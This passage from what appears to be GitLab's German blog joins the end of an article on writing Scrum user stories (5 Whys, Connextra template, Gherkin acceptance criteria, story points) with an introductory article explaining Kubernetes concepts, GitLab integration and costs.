Small: Eine User Story sollte in einem Sprint beendet werden können. Sobald du mit einem signifikant höheren Aufwand rechnest, solltest du die Story aufteilen oder von Anfang an als Epic planen.
Testable: Zur Bewertung einer User Story solltest du Abnahmekriterien festlegen können. Diese erlauben es dir, später zu bestimmen, ob du das zu Anfang gesteckte Ziel erreicht hast. Mit diesen Akzeptanzkriterien beschäftigen wir uns gleich.

Wie du aus dieser Übersicht erkennen kannst, beziehen sich die über das 3C-Modell hinausgehenden Punkte von INVEST vor allem auf die Arbeit in Scrum. Aus diesem Grund ergibt INVEST Sinn für alle Scrum-Master, die sich intensiver mit User Stories auseinandersetzen wollen.

Scrum User Story: Aufbau und Beispiel

Gehen wir nun zu dem Punkt über, der in nahezu allen Artikeln und Übersichten zum Thema fehlt: Einem praktischen Beispiel für eine User Story in Scrum und wie du sie so schreiben kannst, dass sie zu einem wünschenswerten Ergebnis führt. Wir werden in diesem Artikel nicht näher auf ein Epic-Beispiel (lange User Story) eingehen. Denn auch, wenn die Zyklen sich hier über mehrere Sprints erstrecken, bleibt das Grundprinzip identisch.

Nehmen wir an, du hast aus Gesprächen mit Kund(innen) ermittelt, dass diese nicht zufrieden mit der Updatefunktion deines Produkts sind. Immer wieder werden sie während der Arbeit von Update-Meldungen gestört und die Durchführung der Updates beeinträchtigt zudem die Rechenkapazität. Sie würden gerne komfortabel bestimmen können, wann Updates installiert werden sollen oder sich gegen bestimmte Updates entscheiden.

Wie verläuft nun der Weg von diesem ersten Wunsch der Kund(innen) hin zum neuen Feature, beziehungsweise zum Befriedigen des Wunsches der Kund(innen)?

User-Story-Beispiel Schritt 1: 5 Whys

Das Konzept der User Story fußt auf der Schöpfung von Nutzen. Deshalb sollte das genaue Definieren dieses Nutzens höchste Priorität genießen. Wenn du den Nutzen nicht richtig erfasst, wird es deinem Team auch nicht gelingen, die zentrale emotionale Komponente des Prozesses - die „Story” - zufriedenstellend umzusetzen.

Hilfe bietet hier die 5-Why-Technik.

Fange damit an, was du erreichen möchtest: ein Update-Prozess, der von Kund(innen) nicht mehr als Belästigung empfunden wird, sondern als Unterstützung und Optimierung. Anschließend stelle dir selbst die Aufgabe, fünf gute Gründe zu finden, warum diese Story einen Nutzen stiftet.

Für diese User Story wäre zum Beispiel aus der Sicht von Kund(innen) denkbar:

Damit ich bei voller Rechenleistung weiterarbeiten kann.
Damit ich zunächst sicherstellen kann, dass genug Speicherplatz zur Verfügung steht.
Damit ich die Entscheidung über Updates dann treffe, wenn ich mich damit auch wirklich auseinandersetzen kann und möchte.
Damit ich gezielt nur die Updates auswählen kann, die ich brauche.
Damit ich weiß, welche neuen Updates installiert wurden und immer auf dem neuesten Stand bleibe.

Je mehr Details du hier erarbeiten kannst, umso deutlicher wird es für das Team als Ganzes (und manchmal sogar für die Kund(innen) selbst), worin genau die „Story” besteht.

User-Story-Beispiel Schritt 2: Connextra-Template

Wir haben es bereits erwähnt: User Stories sind eher wie Haikus als Geschichten. Und genau wie Haikus hilft es, bei der Formulierung einer User Story einem mehr oder weniger strengen Format zu folgen.

Rachel Davis von der Firma Connextra stellte fest, dass viele Mitarbeiter(innen) mit dem Schreiben einer guten User Story überfordert waren. Die inhärente Freiheit des Konzepts erwies sich als ein Problem. Wie so oft bot eine gezielte Limitierung der Optionen eine passende Lösung.

Davis schlug den folgenden User-Story-Aufbau vor:

Als [Rolle] möchte ich [Story], damit ich [Grund]

Das bedeutet in unserem User-Story-Beispiel:

Als Kundin möchte ich in Ruhe mit der Software arbeiten können, ohne von Updates unterbrochen zu werden. Ich möchte aber auch immer darüber informiert sein, was für Updates genau neu installiert werden und mich gegebenenfalls gegen sie entscheiden. Der Grund ist, dass ich es vorziehe, immer die Kontrolle über die Software zu behalten und immer auf dem neuesten Stand zu sein.

Dies ist leider nicht, wie das Template in der Praxis üblicherweise benutzt wird. Oftmals setzen viele Teams statt einer emotional gelebten „Story” einfach eine rein technische Funktionalität ein.

Dabei geht genau der wichtigste Teil verloren. Bei User Stories geht es um eine alternative Möglichkeit, mit dem Produkt zu arbeiten - nicht um eine neue Methode, die Arbeit aufzuteilen. Wenn du so vorgehst, nutzt du zwar formal einen passenden User-Story-Aufbau, arbeitest aber mit alten Methoden.

Das Connextra-Template verführt dazu, zu Mustern zurückzukehren, die du hinter dir lassen solltest. Wer es aber in seiner ursprünglichen Form verwendet, kann sehr großen Nutzen daraus ziehen.

User-Story-Beispiel Schritt 3: Akzeptanzkriterien

Jede gute Geschichte hat einen Anfang und ein Ende. Ohne das letzte Kapitel und ein zufriedenstellendes Finale wird selbst ein spannender Anfang und ein packender Mittelteil mit einer Enttäuschung enden.

Aus diesem Grund solltest du unbedingt gleich zu Anfang Akzeptanzkriterien für deine User Story festlegen. Diese setzen einen Rahmen dafür, wann eine User Story als beendet („done”) betrachtet werden kann. Zusammen mit dem vierten Schritt, dem Abschätzen, verankern sie User Stories fest im agilen Framework.

Die Agile Scrum Group meint zum Thema Akzeptanzkriterien:

„Akzeptanzkriterien geben einer User Story Details, sodass Sie wissen, wann eine User Story fertig ist. Akzeptanzkriterien entstehen aus Gesprächen zwischen dem Product Owner, den Stakeholdern und den Entwicklern, wenn Sie nach dem Scrum Framework arbeiten.”

Es empfiehlt sich bei dem Festlegen der Akzeptanzkriterien folgendes zu beachten:

4-8 Akzeptanzkriterien pro User Story erscheinen den meisten Experten als eine sinnvolle Menge.
Suche nach objektiven Kriterien, insofern dies innerhalb der subjektiven Grenzen einer User Story möglich ist. Umso präziser sich feststellen lässt, ob ein Kriterium erfüllt wurde, um so besser.
Entscheidend bei User Storys ist die „Story”, die sich Kund(innen) wünschen, nicht, wie diese umgesetzt wird oder welche Features sie beinhaltet. Lege deshalb genau fest, „was” du erreichen möchtest - und überlasse das „wie” der Teamarbeit.

Wie sehen Akzeptanzkriterien in der Praxis aus? Es gibt hier verschiedene Ansätze. Das beste Beispiel ist das sogenannte Gherkin-Format.

Das Gherkin-Format

Ebenso wie das Connextra-Template für den User-Story-Aufbau packt das Gherkin-Format die Formulierung von Akzeptanzkriterien für diese User Stories in ein fixes Format. Das erleichtert die Arbeit ungemein.

Das Format sieht folgendermaßen aus:

Gegeben
wenn
dann

So kann für viele potenzielle Fälle ein Szenario entworfen werden. Ein hervorragendes User-Story-Beispiel findet sich in einem ausführlichen PDF-Leitfaden des Bundesinnenministeriums: Hier möchten Anwender(innen) ein „Passbild hochladen", damit ihre „Antragsdaten vollständig sind”:

„Szenario: Bilddatei hochladen
Gegeben ist, dass der Nutzende angemeldet ist und sich auf dem entsprechenden Formular befindet,
Wenn der Nutzende eine ausgewählte Datei hochlädt und es sich um eine Bilddatei handelt,
dann wird sie übernommen und dem Nutzenden als hochgeladen angezeigt und die Biometrie-Prüfung
wird angestoßen.

Szenario: Falsches Format hochladen
Gegeben ist, dass der Nutzende angemeldet ist und sich auf dem entsprechenden Formular befindet,
Wenn der Nutzende eine ausgewählte Datei hochlädt und es keine Bilddatei ist,
dann wird sie nicht übernommen und es wird ein Fehler angezeigt.”

Agile Schätzung

Die Welt der Softwareentwicklung ist nicht linear. Aufgaben werden nicht bequem der Reihe nach abgearbeitet. In der Regel gilt es, mit einer limitierten Menge an Arbeitszeit die von dir und deinem Team definierten User Stories gleichzeitig oder zeitversetzt umzusetzen. Das stellt die Planung vor anspruchsvolle Aufgaben.

Das Ziel der User-Story-Organisation besteht darin, zu verstehen, wie viel Aufwand jede einzelne Story erfordert. Je genauer du dies weißt, desto genauer wirst du in der Lage sein, die zu erledigenden Aufgaben auf die bestehenden Kapazitäten zu verteilen. Je gröber dein Verständnis, umso höher das Risiko, dass User Stories gar nicht oder nicht in der erforderlichen Qualität erledigt werden.

Dieses Risiko kann das Überleben des Unternehmens gefährden. Aus diesem Grund nimmt die agile Schätzung - also die Schätzung des Aufwands deiner User Stories - eine zentrale Rolle ein.

Du könntest nun meinen, dass es dafür eine einfache Lösung gibt: Du weist schlicht jeder User Story eine geschätzte Bearbeitungsdauer zu und verteilst die Arbeit anschließend so, dass sie innerhalb der geplanten Sprints erledigt werden kann.

In der Praxis haben sich andere Ansätze als effektiver erwiesen.

Story Points: Aufwand vs. Arbeitszeit

Zeit ist relativ. Was für das Universum als Ganzes gilt, hat auch in der Softwareentwicklung Bestand. Arbeitszeit präziseeinzuschätzen hängt von einer Vielzahl von Faktoren ab und kann sich sogar für erfahrene Personalplaner als äußerst schwierig erweisen. Gerade bei schnellen und zugleich zeitintensiven Branchen können selbst kleine Abweichungen massive Folgewirkungen haben und den gesamten Zeitplan durcheinander bringen.

Aus unserer Sicht sind zwei Punkte verantwortlich dafür, dass Zeit in der Planung kein idealer Bewertungsmaßstab ist:

Die Komplexitäten verschiedener User Stories können sehr weit auseinanderklaffen. Das bedeutet nicht unbedingt, dass komplexe Aufgaben mehr Zeit benötigen. Möglicherweise erfordern sie lediglich, dass sich erfahrene, hochqualifizierte oder auf dieses Thema geschulte Teammitglieder um ihre Bearbeitung kümmern müssen.
Der Aufwand einer Aufgabe hängt ebenfalls von sehr unterschiedlichen Faktoren ab. Manche User Stories müssen ausgiebig im Team diskutiert werden, andere erfordern viel Zeit, um realisiert zu werden, obwohl sie keineswegs „schwierig” sind. Andere können nur in ständiger Rücksprache mit Kund(innen) umgesetzt werden. All das beeinflusst die Arbeitszeit, teilweise auf eine Art und Weise, die nur schwer vorherzusehen ist.

Aus diesem Grund hat sich eine andere Einheit zur Einschätzung herauskristallisiert: Story Points. Dabei handelt es sich um ein Maß, das den Aufwand einer User Story auf eine nicht direkt mit der erforderlichen Zeit verbundene Weise zu bestimmen versucht: Je mehr Story Points eine User Story erfordert, umso höher der Aufwand.

Story Points in der Schätzung

Story Points sind Aufwandspunkte. Sie können in erfahrenen Teams zu sehr genauen Schätzungen führen. Trotzdem stehen sie niemals für absolute Werte und sind im Gesamtkontext aller aktuell anstehenden User Storys zu sehen.

Die beliebtesten Konzepte basieren nahezu alle grob auf der Fibonacci-Folge. In dieser Sequenz entsteht die jeweils nächste Zahl aus der Summe der beiden vorangegangenen. Die ersten 13 Einträge dieser Folge sind demzufolge:

0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144

In der User-Story-Planung werden diese Zahlen ein wenig geglättet. So entsteht zum Beispiel die folgende Kette:

0, 1, 2, 3, 4, 5, 8, 13, 20, 30, 50, 100

Wir haben auch Konzepte gefunden, in der zwischen 0 und 1 noch ein 0,5 eingefügt und statt einer 50 eine 40 gewählt wurde. Das aber sind Feinheiten, die das Konzept als solches nicht wesentlich tangieren.

Anschließend weist das Team den User Stories einen dieser Zahlenwerte zu. Daraus entsteht eine Reihenfolge der Stories nach Aufwand. Die folgenden Methoden zur Zuweisung von Story Points sind üblich:

Planning Poker

Beim Planning Poker weisen die Teammitglieder jeder User Story auf einer verdeckt gehaltenen Karte, je nach dem geschätzten Aufwand, Story Points zwischen 0 und 100 zu. Anschließend werden die Karten offen auf den Tisch gelegt und nach Zahl der Story Points auf Stapel verteilt.

Der Stapel mit den meisten Karten ist der „Sieger” und die User Story erhält die damit verbundene Zahl an Punkten, beispielsweise 20.

Das Planning Poker ist eine elegante Methode der Aufwandsschätzung, die letzten Endes aber natürlich einer simplen Abstimmung gleichkommt.

Das Konzept der Planung durch T-Shirtgrößen, was sich ebenfalls oft in einschlägigen Artikeln findet, ist aus unserer Sicht keine eigenständige Methode, sondern eine modifizierte Variante des Pokers. Gleiches gilt für das „Bucket System” (ein Eimer, in den die Karten geschmissen werden) oder das „Dot Voting” (mit kleinen Klebepunkten).

Affinity Mapping

Das Affinity Mapping ist eine der wenigen Alternativen zum Planning Poker. Es besteht aus zwei Phasen:

Zunächst gruppieren alle Teammitglieder gemeinschaftlich die Aufgaben, die einen ähnlichen Komplexitätsgrad aufweisen. Die Einteilung erfolgt durch Diskussion innerhalb des Teams.
Anschließend werden den User Stories innerhalb der Gruppe, entweder durch weitere Gespräche oder Methoden wie Planning Poker, Story Points zugewiesen. So entsteht eine Reihenfolge, bei der die aufwandsintensiven Stories ganz oben, die vermutlich weniger anspruchsvollen weiter unten stehen.

Wer schreibt User Stories?

In der Vergangenheit wurde die Planung und Aufgabenzuweisung üblicherweise von einer zentralen Instanz oder einer verantwortlichen Person vorgenommen. Bis heute hat sich diese Arbeitsverteilung in vielen Unternehmen gehalten. Sogar Scrum, ein teamorientiertes Konzept innerhalb der teamorientierten Agile-Management-Philosophie, arbeitet bis heute mit einem Scrum-Master.

Das Schreiben von User Stories unterscheidet sich hier deutlich. Zwar wird die erste Version der User Story oftmals noch von einem erfahrenen Teammitglied verfasst, beispielsweise nach einem ausführlichen Austausch mit Kund(innen). Hier schließt sich direkt die Phase der „Verhandlungen” an, also des Austauschs zwischen allen Beteiligten.

Somit werden User Stories zwar noch sehr oft von Einzelnen vorbereitet, geschrieben werden sie aber von der Gruppe.

Genau das macht sie auch zu einem so großartigen Tool. Denn wie jeder Autor weiß, ist eine Geschichte nur dann gut, wenn man sich mit ihr identifizieren kann.

Willst Du mehr dazu wissen, wie Deine persönliche User Story in Scrum zum Erfolg wird? Dann empfehlen wir Dir unseren Leitfaden zur Verwendung von Scrum in GitLab. Oder informiere Dich dazu, warum GitLab ganz allgemein die führende DevSecOps-Plattform ist.

Was ist Kubernetes?

2025-05-15T00:00:00.000Z

Kubernetes: Einfach erklärt

Kubernetes hat sich weltweit als führende Technologie in der Container-Orchestrierung durchgesetzt. Die Vielfalt an Funktionalitäten, die Kubernetes bereitstellt, ist aber nicht immer leicht zu nutzen. Lukas Gentele schreibt auf entwickler.de, dass "von vielen Entwicklern Kubernetes als zu komplex und kaum zu beherrschen wahrgenommen wird". Damit spricht er aus, was viele denken.

Ironischerweise besteht der Hauptnutzen von Kubernetes darin, viele Anwendungen überhaupt erst beherrschbar zu machen. Warum das kein Widerspruch ist, was Kubernetes ist und wie es funktioniert, erfährst du in diesem Artikel.

Inhaltsverzeichnis

Kubernetes: Einfach erklärt

Kubernetes-Container: Kein Pod kommt ohne aus

Wenn wir ein Verständnis über Kubernetes vermitteln wollen, kommen wir an einem Bestandteil nicht vorbei – dem Container.

Ähnlich wie Betriebssysteme wurden Anwendungen noch bis vor wenigen Jahre als Monolith entwickelt. Das bedeutet, Anwendungen bestanden aus einer einzigen unteilbaren Codebasis, welche alle Informationen enthält, die zum Betrieb notwendig sind.

Auch, wenn nur wenige Teile der Anwendung benötigt wurden, musste trotzdem das gesamte Programm geladen werden. Das verbrauchte offensichtlich viele Ressourcen, das System wurde langsam und fehleranfällig.

Container – übersichtlich, kollaborativ, effizient

Erste Versuche, die Nachteile einer monolithischen Architektur zu umgehen und Teile eines Programms gezielt zu isolieren, entstanden in den späten 70ern und frühen 80er-Jahren. Doch erst Docker, welches 2013 veröffentlicht wurde, verhalf dem Gedanken auf breiter Basis zum Durchbruch.

Die verschiedenen Funktionalitäten einer Anwendung werden mit einer Software wie Docker isoliert und in Pakete aufgeteilt. Diese Container enthalten sämtliche Daten, Software und Bibliotheken, die zum Betrieb genau dieser Funktionalitäten erforderlich sind.

Die Container können eigenständig genutzt oder getestet werden. Aber man kann sie auch zu einer größeren Architektur verknüpfen und "aufeinanderstapeln" wie Container (die Idee entstand laut dem ehemaligen Docker-CEO Ben Golub "als wir all die Containerschiffe im Hafen von Oakland einlaufen sahen").

Früher als monolithische Anwendungen entwickelt, werden Programme heute als Zusammensetzungen einzelner Container betrachtet. Anstatt den gesamten Code zu laden, werden nur die Container verwendet, die für die jeweils auszuführenden Aufgaben notwendig sind. Dadurch, dass die Container bereits alle Daten enthalten, die benötigt werden, um das Programm zu starten, wird es deutlich einfacher, einzelne Komponenten von einem Server mit Betriebssystem A auf einen anderen mit Betriebssystem B zu verschieben.

Pod: Container Kombinationen

Ausgehend von den einzelnen Docker-Containern bilden Anwender(innen) nun Gruppen aus Containern, die im Rahmen einer bestimmten Anwendung oder eines größeren Systems zusammenarbeiten. Jede dieser virtuellen Gruppen bezeichnet man als "Pod".

Im Beispiel eines E-Commerces Unternehmen, kann nun ein Pod die Benutzeroberfläche enthalten, während andere Pods die Bezahlung, oder die Lieferung abwickeln. Die Vorteile sind klar: Dieser Ansatz ist schlanker und robuster als der monolithische und lässt sich konsistent auf verschiedenen Betriebssystemen verwenden. Gerade in der Softwareentwicklung bedeutete diese Zuverlässigkeit einen deutlichen Sprung nach vorne.

Orchestrierung: Container kontrollieren

Gleichzeitig erfordert eine Anwendung, die aus mehreren Containern zusammengesetzt ist, ein höheres Maß an Management.

Was passiert beispielsweise, wenn ein Pod ausfällt? Wie geht man mit Fehlern in einem Pod um? Wo sollen die Pods ausgeführt werden? Wie wirkt sich die Containerisierung auf die Entwicklung neuer Funktionalitäten aus? Wie funktioniert überhaupt die ständige Neuverteilung verschiedener Pods innerhalb derselben Anwendung während des laufenden Betriebs?

Diese Fragen werden dringlicher, je mehr Container eine Anwendung verwendet. Und sie werden geradezu kritisch in einer Umgebung, in der sehr viele Nutzer(innen) auf eine Vielzahl containerisierter Anwendungen zugreifen sollen.

Wenn es keinen monolithischen Code mehr gibt, welcher festlegt, in welchen Situationen bestimmte Kombinationen zur Anwendung kommen, werden neue Prinzipien zur Aktivierung benötigt. Darüber hinaus ergeben sich durch die Containerisierung eine Vielzahl spezifischer Herausforderungen.

Die Lösungsansätze, die sich mit dieser Herausforderung beschäftigen, werden unter dem Begriff Container-Orchestrierung zusammengefasst. Einfach erklärt ist Kubernetes das derzeit wohl leistungsfähigste und effizienteste Orchestrierungs-Tool.

Abstraktion und Zustandsorientierung

Vor der Einführung der Containerisierung, die mit Docker ihren Durchbruch fand, waren Programme im Wesentlichen Stories, die durch ihren Code zusammengehalten wurden. Mit Containern wird dieses Narrativ jedoch aufgebrochen und in seine einzelnen Bestandteile zerlegt. Damit aus diesen Teilen wieder eine sinnvolle Geschichte entsteht, benötigt man einen „roten Faden", der die einzelnen Komponenten zusammenführt.

Aus der Perspektive von Kubernetes werden Anwendungen schlicht als „Arbeitslasten" (Workloads) betrachtet – also Dienste, die eine bestimmte Menge an Systemressourcen beanspruchen. Pods fungieren dabei als Abstraktionen, da der Zusammenhang zwischen den einzelnen Pods jederzeit aufgelöst und neu gestaltet werden kann.

Das bedeutet, dass du jederzeit eine bestehende Struktur aufbrechen und nach Belieben neu zusammensetzen kannst. Mit denselben Komponenten lässt sich so etwas völlig Neues erschaffen.

Wichtig bei der Wahl der geeigneten Abstraktion ist der Zustand (State), der durch die Kombination oder Aktivierung von Nutzlasten im System entsteht. Manche Zustände sind gewünscht, andere nicht.

Wenn man Kubernetes einfach definieren würde, würde man sagen Kubernetes stellt sicher, dass alle Komponenten im richtigen Zustand sind.

Node, Kubelet, Cluster: Die Welt von Kubernetes

In einem System werden Pods, also funktional zusammengehörige Kombinationen von Kubernetes-Containern auf sogenannte Knoten (englisch: Nodes) verteilt. Ein Knoten kann sowohl ein physischer Rechner (PC) als auch eine virtuelle Maschine (VM) sein.

Es gibt zwei Formen von Knoten:

Die sogenannten Master-Nodes, welche die Steuerung und Kontrolle übernehmen sowie
die Work-Nodes, auf denen die Anwendungen liegen, welche die Funktionalität einer Anwendung übernehmen.

Die Kommunikation zwischen diesen Ebenen wird von kleinen Managementagenten übernommen, den Kubelets.

Schließlich kann man mehrere Knoten zu Kubernetes-Clustern aufsetzen. Diese bilden dann die Umgebung ab, die Kubernetes verwaltet und auf welcher Kubernetes läuft.

Wie funktioniert Kubernetes?

Kubernetes automatisiert die Container-Orchestrierung, jedoch ist es als Administrator wichtig, stets die Kontrolle darüber zu behalten, welche Prioritäten dabei gesetzt und welche Aspekte berücksichtigt werden müssen.

Administrator(inn)en erarbeiten zusammen mit den Entwickler(innen)/Anwender(innen) eine Liste an gewünschten Zuständen. Dazu kann beispielsweise der Wunsch gehören, dass gewisse Pods stets aktiv sein sollten. Auch dann, wenn sie formal nicht ununterbrochen benötigt werden.

Das ist ein völlig neuer Ansatz, wie über die Kontrolle der Software nachgedacht werden muss. Statt ständig auf sich ändernde Anforderungen mit neuen Befehlen zu reagieren, definiert man stattdessen, welche Zustände erfüllt werden sollen und überlässt es dann Kubernetes diese zu erfüllen.

Man bezeichnet diese Form der Kontrolle auch als "deklarativ", gegenüber dem traditionellen Modell der "imperativen" (befehlsgebenden) Kontrolle.

Ein weiteres Eingreifen seitens Administrator(inn)en ist im Idealfall nicht mehr erforderlich. Senior Solutions Manager Brendan O'Leary von GitLab hat das einmal folgendermaßen auf den Punkt gebracht: "Kubernetes sorgt dafür, dass das System so bleibt, wie wir es haben wollen."

Kubernetes in der Praxis

Wie funktioniert die Orchestrierung nun?

Kubernetes übernimmt eine Vielzahl von Funktionen, welche die Verwendung der Pods im Cluster optimieren:

Der Kubernetes Scheduler sorgt dafür, dass Pods den für sie besten Knoten zugeordnet werden.
Kubernetes bringt die Nachfrage nach Nutzlasten mit dem Angebot in Einklang. Das bedeutet: Wenn besonders viele Nutzer(inn)en ein ganz bestimmtes Pod anfragen, droht eine Überlastung. Kubernetes kann hierauf mit zwei Antworten reagieren: Es kann für diesen Pod mehr Ressourcen bereitstellen, oder es kann den Pod duplizieren, also Kopien erstellen und die Anfragen auf diese neuen Pods verteilen. Dieser Prozess wird als load balancing bezeichnet.
Kubernetes aktualisiert sich stets selbst und bleibt somit immer auf dem neuesten Stand.
Entstehen in einem Pod Fehler, die zu einem Ausfall führen, kann Kubernetes im Rahmen seines Self-healings (Selbstheilung) entweder den Pod reparieren oder es auf einen funktionsfähigen früheren Zustand zurücksetzen.
Hast du einmal ein Kubernetes-Cluster aufgesetzt, werden Nutzlasten oft von einem Knoten auf einen anderen verschoben. Interne IP-Adressen können hier also nicht mehr verwendet werden, um den aktuellen Ort eines Pods zu bestimmen (weil er sich ständig ändert). Mit der Service-Discovery-Funktion übernimmt Kubernetes die Aufgabe, dass Anfragen auf dem richtigen Pod auch ankommen.

Die Vorteile von Kubernetes

Gerade bei sehr großen Cloud-Umgebungen ist leicht ersichtlich, warum die oben beschriebene, automatisierte Gewährleistung eines optimalen Zustands einen großen Nutzen mit sich bringt.

Ein weiterer Vorteil von Kubernetes besteht in der Entwicklung neuer Funktionen. Es ermöglicht ein reibungsloses Testen, ohne dass es dabei zum Ausfall des Systems kommt. Neue Container und Pods können unkompliziert hinzugefügt werden. Teams können gezielt nur an den Diensten arbeiten, für die sie zuständig sind und so ganz gezielt und spezifisch das System optimieren.

Gerade Letzteres war der Grund, dass GitLab sich bereits 2017 für ein Container-zentriertes System mit Kubernetes entschieden hat.

Lukas Gentele schreibt dazu:

"Dass das Kubernetes-Ökosystem so vielseitig ist, mag auf den ersten Blick abschrecken, doch es ist notwendig, da die Architektur von Kubernetes ein großes Maß an Flexibilität bietet."

Wie funktioniert die Kubernetes-Integration unter GitLab?

GitLab ist eine Platform die Kontinuierlichen Integration und Auslieferung ermöglicht. Somit kannst du als GitLab-Nutzer(in) die Vorteile von Kubernetes bezüglich der Container-Orchestrierung für dich nutzen.

Weil GitLab CE und Kubernetes so natürlich miteinander harmonieren, fällt die Integration recht unkompliziert aus. Wir haben für dich einen Artikel vorbereitet, der genau erklärt, wie du ein Kubernetes Cluster mit GitLab verbindest.

Kurz zusammengefasst erfordert die Integration folgende Punkte:

Definiere das Cluster, welches über Kubernetes automatisiert werden soll.
Installiere einen Agenten, der die Kommunikation mit dem Cluster übernimmt.
Konfiguriere die GitLab-CI/CD Pipeline so, dass sie die Kubernetes-API verwendet.

FAQs zu Kubernetes (K8s)

Warum wird Kubernetes auch K8s genannt? Was bedeutet der Begriff?

K8s ist eine smarte, leicht kryptische Abkürzung des Begriffs Kubernetes: "K" und "s" bezeichnen den ersten und letzten Buchstaben, die "8" schlicht die Anzahl der Buchstaben, die dazwischen liegen.

Das Wort Kubernetes stammt aus dem Griechischen und bedeutet Steuer- oder Fährmann. Der Begriff bezieht sich auf die zentrale Aufgabe von Kubernetes, ein System auch bei "hohem Wellengang" stets stabil zu halten und vor dem Kentern zu bewahren.

Wer hat Kubernetes entwickelt?

Die ersten Impulse für Kubernetes setzte Google mit seinen Vorläuferprojekten "Borg" und "Project 7". Beide beschäftigten sich mit der Problemstellung, die Komplexität containierisierter Anwendungen beherrschbar zu machen.

Bewusst als Open-Source-Plattform entwickelt, entstand Kubernetes aus der Kollaboration verschiedener großer und kleiner Unternehmen, die sich in der Cloud Native Computing Foundation zusammenschlossen.

Darüber hinaus wurde es maßgeblich über die Git-Community ergänzt und weiterentwickelt.

Was kostet die Nutzung von Kubernetes?

Bei Kubernetes handelt es sich um ein Open-Source-System. Das bedeutet, dass das Programm kostenfrei heruntergeladen werden kann. Trotzdem entstehen bei der Nutzung von Kubernetes in deinem Unternehmen Kosten, potentiell sogar recht hohe.

Der Grund dafür ist, dass die nackte Basisversion der Anwendung letzten Endes für die meisten Anwender(innen) nicht nutzbar ist.

Neben den Kosten, die für das Hosten der Kubernetes-Cluster in der Cloud anfallen, solltest du folgende möglichen Kostenpunkte berücksichtigen:

Die Nutzung von Kubernetes-Dienstleistungen, welche den Einsatz vereinfachen.
Experten, die das Kubernetes-System konfigurieren, es gegebenenfalls warten und es auf dem neuesten Stand halten. Gerade angesichts des hohen Spezialisierungsgrads des Anforderungsprofils sowie der Menge der anfallenden Arbeitsstunden können hierbei erhebliche Kosten entstehen.
Nach dem Aufsetzen eines Kubernetes-Clusters liegen Ressourcen auf verschiedenen Cloud-Speichern. Ein wichtiger Teil der Funktionalität von Kubernetes besteht darin, Nutzlasten dynamisch zwischen diesen Cloud-Speichern zu verschieben, so dass die Stabilität, Sicherheit und Geschwindigkeit des Systems optimiert wird. Allerdings wird dir das Verschieben von Datenpaketen von einem Speicher auf einen anderen sogar dann berechnet, wenn alle deine Daten bei demselben/derselben Provider(in) liegen. Diese Egress-Kosten werden gemäß des verschobenen Datenvolumens kalkuliert und können sich, abhängig von der Größe der Kubernetes-Cluster, am Ende des Jahres wahrhaft auftürmen.

Immer mehr Anbieter(innen) haben inzwischen Kubernetes-Online-Rechner im Angebot, mit denen du einen besseren Eindruck über die möglichen Kosten erhältst. Allerdings bleibt es meistens bei einer Schätzung.